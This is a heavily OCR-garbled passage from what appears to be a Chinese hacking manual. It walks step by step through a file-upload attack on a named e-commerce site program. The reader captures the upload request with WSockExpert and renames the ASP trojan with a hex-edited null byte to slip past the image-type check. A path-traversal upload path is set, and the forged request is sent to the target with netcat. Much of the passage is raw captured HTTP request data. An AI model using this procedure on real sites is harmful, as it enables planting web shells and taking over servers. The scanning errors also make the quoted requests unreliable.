Accept:  ima14'e/gif,  image/x-xbitmap,  image/上peg,  imac上e/p上peg,  application/

x-shockwave- flash,    applicat\_io n/vnd .ms-excelr

application/rnsword, application/x-silverlight~ +/

Rea fe rer :    http ://localhost/qinzhu/Up file \_ html

Accept-Langua<上e: zh-cn

Content- Type :                                                                                                    multipart/form- da to ,

boundar}r------------------------- -:- -7d912 8162 3 0e60

ACCept-Encodinc上:gzip\* deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.O; WindowS NT Sfl; SVl; QQDownload538)

Host: locaLhost

Con七ent-Length: 15992

Connection: Keep—AliveCache-Control: no-cacheCoo kia :    A St aqi zu ?s ~ Fsta t l:Us erPages-2 &A上 r,tatPa<:a\s -2 ; Aiangqizu%5Fstatl-A上 stat2-1

4-123.png

从上面捕捉到的重要代码信息可知：“POST”表示与网站交换信息的方式；0Referer”表示WSE捕状到的数据提交网页，主要用于查找一些隐藏的登录网页；还有远程主机名Host、连接打式Connelion、Cookie等。其中“Cookie”在构造伪装数据时非常青用。

在进行发帖、文件上传等操作时，还可捕捉到其他一些重要信息，如“Content-Length”表示Cookie数据的长度：而“Conlent-Type: image/gif"则表示上传文件类型：还有文件上传后的保存路径等。因此，任何隐蔽数据的交换都逃不过该工具的监控。

文件上传漏洞攻击实例

文件上传漏洞产生的关键是“Filepath”文件名变量未进行严格的过滤。主要分为两种情况：一是没有对Filename文件名变景进行过滤；二是没有对“FilePath”文件路径进行过滤。上面介绍没有对“FilePath”文件路径变量进行过滤，从而产生漏洞的情况，这里以一个比较典型的网站程序“天意阿里巴巴企业商务网V3.7”为例，进行文件上传漏洞攻击的操作，操作步骤如下。

在IE浏览器中打开“天意阿里巴巴企业商务网V3.7”程序中的主页面Default.asp文件，打开其主页画，4-124。

单击“注册会员”按钮，打开其注册页面，在其中注册一个新用户，4-125。注册完毕后，在用户登录区中输入刚注册的用户名和密码进行登录，4-126。

单击“超链接”按钮，进入产品发布页面，在其中按要求输入,相应的数据，并单击“浏览”按钮选择要上传的ASP木马，4-127。

4-127.png

运行WsockExpert 工具，单击工具栏中的“打开”按钮口：，打开“Select Process

To Monitor（选择监听的程序）”对话框，展开“IEXPLORE.EXE”选项，在其中选择当前打开的网页名称：天意商务网产品展示，4-128。

4-129.png

单击“Open”按钮，返回到新产品发布页面中，再单击“确定”按钮，即可提交输入的数据。由于上传文件的类型不正确，可看到“上传的图片有错误”提示框，4-129

。出现这种现象的原因在于：网页对文件上传类型进行限制，所以ASP后门是无法上传成功的。

此时在“WsockExpert”窗口中可看到捕捉到的数据包，存其中找到含有“Post”

字符串的数据库，其ID号是3和4d在ID号为3所在的行单击，即可看到该数据包的具体内容，4-130。其具体内容如下．。

POST /tianyi/manage/spzs/zs\_save\_add. asp HTTP/1.1

Accept:    image/clif,    image/x-xbi\_tmap,    image/上 peg,    image/p上pec上,

application/x-shoc kwave-flash,application/\rnd.ms—excel,   applica rpion/msword,

application/x-silverlight,  ★／★

Re fe rer:  ht,tp: //localhos/tian yi/manacle /sp zs/add. asp

Accept-Languac上e: zh-cn

Content-Type:    multipart/form-data;

boundary=---    -----7d931clb10604

Accept-Encoding: qzip, daflata

User-Agent: Mozilla/4.0 (compatible: MSIE 6.0; fdinciows NT 5.1; SVl)

Host,: localhost

Content-Lengtti: 9162

Connection: Keep-Alive

Cache-Control: no-cache

Cookie:    ASPSESSIONIDCATCQQDB-EDLNMGMBMLGFP PKH POLDAC FC

在ID号为4所在的行单击，可看到该数据包的具体内容，4-131。

4-131.png

其主要内容如下。

 ---7d931clb10604

Content-Disposition: form-data; name-"fiLepath"

\_ /../picture/

 - -- 7d9 31clb10 6 0 4

Conent-Disposition: form-data; name-i\*cpmc"

aa

 .-- -7d931clb10604

Conten-Disposition: fonn-data; name-"cpbh"

O01

 .---7d9;31clb10604

Con te n t - Disposit ion:    fo rm-data;    name="cp sb "

11

 '----------------7d931clbl0 60 4

Content-Disposition: form-data; name-"cpcd"

11

---7d931clb10604

Content\_-Disposition: form-data; name="cp上g"

11

---7d931clb10604

Content-Disposition:  form-data; name=”cpgg”

20

-------7d931clb10604

Content-DiSpoSitiorl;  fOrm-data;  name-’’sortid’’

1 4

 ———一一--7d931clb10604

Content-Disposition: form-data; name—¨typeid”

2 81

一一一一---7d931clb10604

Content-Disposition：    form-data;  name=’’file'1 上    filename-’’F:\新建文件失

\Dvbbs7.ld O\_Ac\wap.asp"

Con t,ent -Type:  application/octet -stream

将上面两个数据包中的内容复制到一个新建的记事本文件中，并将“fiiename-“F：＼新建文件夹kDvbbs7.I.O\_Ac\wap.asp””修改为“filename-”F:\新建文件夹\Dvbbs7.1.0 Ac\wap,asplPg””，4-132。

使用UltraEdit打开刚才保存的记事本文什，选中“filename=”F：、新建文件夹＼

Dvbbs7.1．O\_Ac\wap.asp．jpg“”，将空格对应的16进制代码20修改为oo，4-133。

4-133.png

修改完毕后，将文件保存在nc.exe所在的文件夹，在“命令提示符”窗口中进入nc.exe所在的文件夹，运行“ne www.xxx.com 80<l.text”命令，如果该命令执行成功，即可实现欺骗．上传的目的，其中“www.xxx+corri”是测试网站，需要根据实际情况进行修改。

点拨1：在IE浏览器中输入数据库的地址进行下载数据库后，当打开下载的数据库文件后，为什么显示的全是乱码？

解答：出现这种情况的原因在于，该阿站数据库文件名的后缀是。asp，这样可以提交数据库的安全性。在浏览器中访问该数据库文件时，数据库文件将被当做asp网页文件，所以就直接显示乱码，达到阻止用户下载数据库的目的。

点拨2：使用“SQL通用防注入程序”如何才能使整个网站都可以防注入？

解答：将“SQL通用防注入程序V3.1”存放在网站所在文件夹中，如果使整个网站都可以防注入，则在数据文件（一般为c onn,asp）中加入“<!--#includefile=”Neeao\_SqlIn.ASP“一）”代码，就可以在任意页面中调用防注入程序，从而使整个网站都可以防注入。